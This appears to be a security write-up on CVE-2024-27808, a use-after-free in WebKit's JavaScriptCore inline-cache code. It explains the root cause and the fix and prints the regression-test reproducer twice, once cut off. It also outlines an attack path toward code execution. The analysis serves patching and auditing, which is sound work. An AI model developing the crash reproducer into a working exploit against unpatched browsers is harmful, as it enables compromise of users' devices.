CVE-2024-27808
Overview
Impact:
Description: Processing web content may lead to arbitrary code execution
Researchers: Lukas Bernhard of CISPA Helmholtz Center for Information Security
Key insight. AccessCase cached a raw CallLinkInfo* owned by the JITStubRoutine, and once CodeBlock destruction could be delayed that pointer could dangle and be dereferenced during GC weak-visiting; moving CallLinkInfo lifetime into MarkingGCAwareJITStubRoutine and removing it from AccessCase fixes the UAF.
Patch Details
diff --git a/JSTests/stress/decouple-calllinkinfo-from-access-case.js b/JSTests/stress/decouple-calllinkinfo-from-access-case.js
new file mode 100644
index 000000000000..a7fd1f75b1ab
--- /dev/null
+++ b/JSTests/stress/decouple-calllinkinfo-from-access-case.js
@@ -0,0 +1,96 @@
+// runDefault("--validateOptions=true", "--thresholdForJITSoon=10", "--thresholdForJITAfterWarmUp=10", "--thresholdForOptimizeAfterWarmUp=100", "--thresholdForOptimizeAfterLongWarmUp=100", "--thresholdForOptimizeSoon=100", "--thresholdForFTLOptimizeAfterWarmUp=1000", "--thresholdForFTLOptimizeSoon=1000", "--validateBCE=true")
+
+const ProxyConstructor = Proxy;
+const getPrototypeOf = Object.getPrototypeOf;
+const ReflectGet = Reflect.get;
+const ReflectSet = Reflect.set;
+const ReflectHas = Reflect.has;
+const setPrototypeOf = Object.setPrototypeOf;
+
+function probe(id, value) {
+ let originalPrototype, newPrototype;
+ let handler = {
+ get(target, key, receiver) {
+ if (key === '__proto__' && receiver === value) return originalPrototype;
+ if (receiver === newPrototype) return ReflectGet(target, key);
+ return ReflectGet(target, key, receiver);
+ },
+ set(target, key, value, receiver) {
+ if (receiver === newPrototype) return ReflectSet(target, key, value);
+ return ReflectSet(target, key, value, receiver);
+ },
+ has(target, key) {
+ return ReflectHas(target, key);
+ },
+ };
+
+ try {
+ originalPrototype = getPrototypeOf(value);
+ newPrototype = new ProxyConstructor(originalPrototype, handler);
+ setPrototypeOf(value, newPrototype);
+ } catch (e) {}
+}
+
+probe("v1", "2003629588");
+let v4 = 9150;
+v4--;
+probe("v6", 51828);
+function F7(a9, a10, a11) {
+ if (!new.target) { throw 'must be called with new'; }
+ const v12 = this?.constructor;
+ try { new v12(this, "object", 447824390); } catch (e) {}
+ a11 % a11;
+ this.b = a9;
+ this.g = a10;
+}
+const v15 = new F7("2003629588", "object", 447824390);
+const v16 = new F7(v15, v4, v4);
+const v17 = new F7("2003629588", 51828, 51828);
+probe("v17", v17);
+const v18 = v17?.constructor;
+probe("v18", v18);
+let v19;
+try { v19 = new v18("r", v17, "r"); } catch (e) {}
+probe("v19", v19);
+const v20 = [v17,v17];
+probe("v20", v20);
+const v21 = [F7,v15,v20,v15,v4];
+const v22 = [v4,"object",51828];
+probe("v22", v22);
+let v23;
+try { v23 = v22.reduce(v15); } catch (e) {}
+const v24 = [2,-354747782,-16,10251,-1485280459,5,6,536870888,-47153,-193790246];
+probe("v24", v24);
+function f25(a26, a27) {
+ const o28 = {
+ [a27]: a26,
+ "d": v21,
+ };
+ return o28;
+}
+f25(v16, v22);
+f25(v23, v16);
+f25(v15, v22);
+v24[4];
+function f33(a34, a35, a36, a37) {
+ probe("v36", a36);
+ ~a35;
+ v22.length = 1;
+ a36?.[v21];
+}
+v24.flatMap(f33);
+gc();
+class C20 {
+ valueOf(a22, a23) {
+ return ("n")[1204] - this;
+ }
+}
+const v26 = new C20();
+function f27(a28, a29) {
+ new BigInt64Array(3603);
+ return v26 * v26;
+}
+try {
+v26[Symbol.toPrimitive] = f27;
Background
Advisory: Apple Security Advisory
| Attribute | Value |
|---|---|
| CVE | CVE-2024-27808 |
| Bugzilla | 268221 |
| Component | JSC |
| Bug Class | UAF |
| Severity | critical |
| Commit | b25150796310098d… |
| Advisory | Apple Advisory |
Terminology
- AccessCase / inline cache — AccessCase is per-case IC feedback for a property access; polymorphic ICs are compiled into a JITStubRoutine.
- CallLinkInfo — Compiled-code call-site metadata owned by the JITStubRoutine; its lifetime ends when that routine is destroyed.
- visitWeak / delayed CodeBlock destruction — GC weak-visiting walks IC structures; when CodeBlock destruction is delayed, a raw CallLinkInfo* cached in AccessCase can outlive the freed routine.
Root Cause Analysis
This fixes a use-after-free in JavaScriptCore’s inline caches by decoupling CallLinkInfo from AccessCase (per the commit, ‘AccessCase should not hold CallLinkInfo*’). An AccessCase is inline-cache (IC) feedback data describing one property-access case; for cases that call out (Getter/Setter and the ProxyObject cases) it previously held a raw CallLinkInfo* — a data structure that actually belongs to the compiled JITStubRoutine. CallLinkInfo’s lifetime is tied to that stub routine, so when the JITStubRoutine is destroyed the AccessCase’s CallLinkInfo* becomes dangling. This was previously masked by a strict destruction ordering (CodeBlock was always destroyed synchronously first, then the JITStubRoutine cleaned up), but CodeBlock destruction can now be DELAYED, breaking the ordering. As a result, code that walked AccessCase’s dependent cells and weak references during garbage collection — AccessCase::forEachDependentCell, doesCalls (which marked callLinkInfo dependent cells), and visitWeak (which called accessor.callLinkInfo()->visitWeak) — could dereference a freed CallLinkInfo, a use-after-free during GC/marking that corrupts engine state. The fix removes CallLinkInfo* from AccessCase entirely (deleting the callLinkInfo handling from forEachDependentCell/doesCalls/visitWeak) and moves CallLinkInfo lifetime management to where the pointer actually lives: MarkingGCAwareJITStubRoutine now performs the visitWeak iteration over its CallLinkInfos (visitWeakImpl / callLinkInfoAtImpl), and the InlineCacheHandler / StructureStubInfo expose callLinkInfoAt so callers reach the CallLinkInfo through the live stub routine rather than a cached raw pointer. The restored invariant is that CallLinkInfo is owned and weak-visited by the compiled stub routine, never held as a raw pointer by the IC-feedback AccessCase whose lifetime can outlast it. The analysis is grounded in the commit message and the shown deletions; the corresponding additions in MarkingGCAwareJITStubRoutine are described by the commit though not fully shown in the diff hunks.
Attack Path
1. Build polymorphic inline caches
Run JS that creates Getter/Setter or Proxy-object inline caches, so AccessCases hold CallLinkInfo tied to a JITStubRoutine.
2. Delay CodeBlock destruction
Arrange conditions where CodeBlock destruction is delayed relative to the JITStubRoutine cleanup, so the CallLinkInfo is freed while an AccessCase still references it.
3. Trigger GC weak visiting
Cause garbage collection so forEachDependentCell/doesCalls/visitWeak walk the AccessCase’s now-dangling CallLinkInfo*.
4. Use-after-free
The freed CallLinkInfo is dereferenced during marking/weak-visiting, a UAF the attacker grooms toward arbitrary read/write and code execution in WebContent.
Impact Assessment
A critical use-after-free in the WebContent process’s JIT inline-cache machinery, surfaced during GC weak-visiting when a stale CallLinkInfo* is dereferenced. JSC lifetime/UAF bugs in inline caches are strong, groomable primitives; the advisory rates it arbitrary code execution.
Audit Directions
Raw compiled-code pointers in feedback data
Audit AccessCase and other IC-feedback structures for raw pointers into compiled code (CallLinkInfo, stub routines) whose lifetime they do not own.
Destruction-ordering assumptions
Grep JSC for lifetime assumptions that CodeBlock is destroyed before its JITStubRoutines; delayed destruction can violate them.
Changed Functions
| Function | File | Change | Note |
|---|---|---|---|
AccessCase::forEachDependentCell / doesCalls / visitWeak |
Source/JavaScriptCore/bytecode/AccessCase.cpp |
modified | Removes all handling of a held CallLinkInfo* (dependent-cell marking and visitWeak), and drops the cellsToMarkIfDoesCalls path, so AccessCase no longer dereferences a CallLinkInfo whose lifetime it does not own. |
MarkingGCAwareJITStubRoutine::visitWeakImpl / callLinkInfoAtImpl |
Source/JavaScriptCore/jit/GCAwareJITStubRoutine.cpp |
modified | Takes over weak-visiting of the CallLinkInfos it owns, so their lifetime is managed by the compiled stub routine (per the commit message). |
InlineCacheHandler::callLinkInfoAt / StructureStubInfo::callLinkInfoAt |
Source/JavaScriptCore/bytecode/StructureStubInfo.cpp |
modified | Expose the CallLinkInfo via the live handler/stub routine so callers no longer rely on a raw pointer cached in AccessCase. |
Files Changed
Source Files
Source/JavaScriptCore/bytecode/AccessCase.cppSource/JavaScriptCore/bytecode/AccessCase.hSource/JavaScriptCore/bytecode/GetByStatus.cppSource/JavaScriptCore/bytecode/GetterSetterAccessCase.cppSource/JavaScriptCore/bytecode/GetterSetterAccessCase.hSource/JavaScriptCore/bytecode/InlineCacheCompiler.cppSource/JavaScriptCore/bytecode/InlineCacheCompiler.hSource/JavaScriptCore/bytecode/ProxyObjectAccessCase.cppSource/JavaScriptCore/bytecode/ProxyObjectAccessCase.hSource/JavaScriptCore/bytecode/PutByStatus.cppSource/JavaScriptCore/bytecode/StructureStubInfo.cppSource/JavaScriptCore/bytecode/StructureStubInfo.hSource/JavaScriptCore/jit/GCAwareJITStubRoutine.cppSource/JavaScriptCore/jit/GCAwareJITStubRoutine.hSource/JavaScriptCore/jit/JITStubRoutine.cppSource/JavaScriptCore/jit/JITStubRoutine.h
Test Files
JSTests/stress/decouple-calllinkinfo-from-access-case.js
Regression Test
The fix ships this proof-of-concept / regression test:
diff --git a/JSTests/stress/decouple-calllinkinfo-from-access-case.js b/JSTests/stress/decouple-calllinkinfo-from-access-case.js
new file mode 100644
index 000000000000..a7fd1f75b1ab
--- /dev/null
+++ b/JSTests/stress/decouple-calllinkinfo-from-access-case.js
@@ -0,0 +1,96 @@
+// runDefault("--validateOptions=true", "--thresholdForJITSoon=10", "--thresholdForJITAfterWarmUp=10", "--thresholdForOptimizeAfterWarmUp=100", "--thresholdForOptimizeAfterLongWarmUp=100", "--thresholdForOptimizeSoon=100", "--thresholdForFTLOptimizeAfterWarmUp=1000", "--thresholdForFTLOptimizeSoon=1000", "--validateBCE=true")
+
+const ProxyConstructor = Proxy;
+const getPrototypeOf = Object.getPrototypeOf;
+const ReflectGet = Reflect.get;
+const ReflectSet = Reflect.set;
+const ReflectHas = Reflect.has;
+const setPrototypeOf = Object.setPrototypeOf;
+
+function probe(id, value) {
+ let originalPrototype, newPrototype;
+ let handler = {
+ get(target, key, receiver) {
+ if (key === '__proto__' && receiver === value) return originalPrototype;
+ if (receiver === newPrototype) return ReflectGet(target, key);
+ return ReflectGet(target, key, receiver);
+ },
+ set(target, key, value, receiver) {
+ if (receiver === newPrototype) return ReflectSet(target, key, value);
+ return ReflectSet(target, key, value, receiver);
+ },
+ has(target, key) {
+ return ReflectHas(target, key);
+ },
+ };
+
+ try {
+ originalPrototype = getPrototypeOf(value);
+ newPrototype = new ProxyConstructor(originalPrototype, handler);
+ setPrototypeOf(value, newPrototype);
+ } catch (e) {}
+}
+
+probe("v1", "2003629588");
+let v4 = 9150;
+v4--;
+probe("v6", 51828);
+function F7(a9, a10, a11) {
+ if (!new.target) { throw 'must be called with new'; }
+ const v12 = this?.constructor;
+ try { new v12(this, "object", 447824390); } catch (e) {}
+ a11 % a11;
+ this.b = a9;
+ this.g = a10;
+}
+const v15 = new F7("2003629588", "object", 447824390);
+const v16 = new F7(v15, v4, v4);
+const v17 = new F7("2003629588", 51828, 51828);
+probe("v17", v17);
+const v18 = v17?.constructor;
+probe("v18", v18);
+let v19;
+try { v19 = new v18("r", v17, "r"); } catch (e) {}
+probe("v19", v19);
+const v20 = [v17,v17];
+probe("v20", v20);
+const v21 = [F7,v15,v20,v15,v4];
+const v22 = [v4,"object",51828];
+probe("v22", v22);
+let v23;
+try { v23 = v22.reduce(v15); } catch (e) {}
+const v24 = [2,-354747782,-16,10251,-1485280459,5,6,536870888,-47153,-193790246];
+probe("v24", v24);
+function f25(a26, a27) {
+ const o28 = {
+ [a27]: a26,
+ "d": v21,
+ };
+ return o28;
+}
+f25(v16, v22);
+f25(v23, v16);
+f25(v15, v22);
+v24[4];
+function f33(a34, a35, a36, a37) {
+ probe("v36", a36);
+ ~a35;
+ v22.length = 1;
+ a36?.[v21];
+}
+v24.flatMap(f33);
+gc();
+class C20 {
+ valueOf(a22, a23) {
+ return ("n")[1204] - this;
+ }
+}
+const v26 = new C20();
+function f27(a28, a29) {
+ new BigInt64Array(3603);
+ return v26 * v26;
+}
+try {
+v26[Symbol.toPrimitive] = f27;
+v26.valueOf();
+} catch { }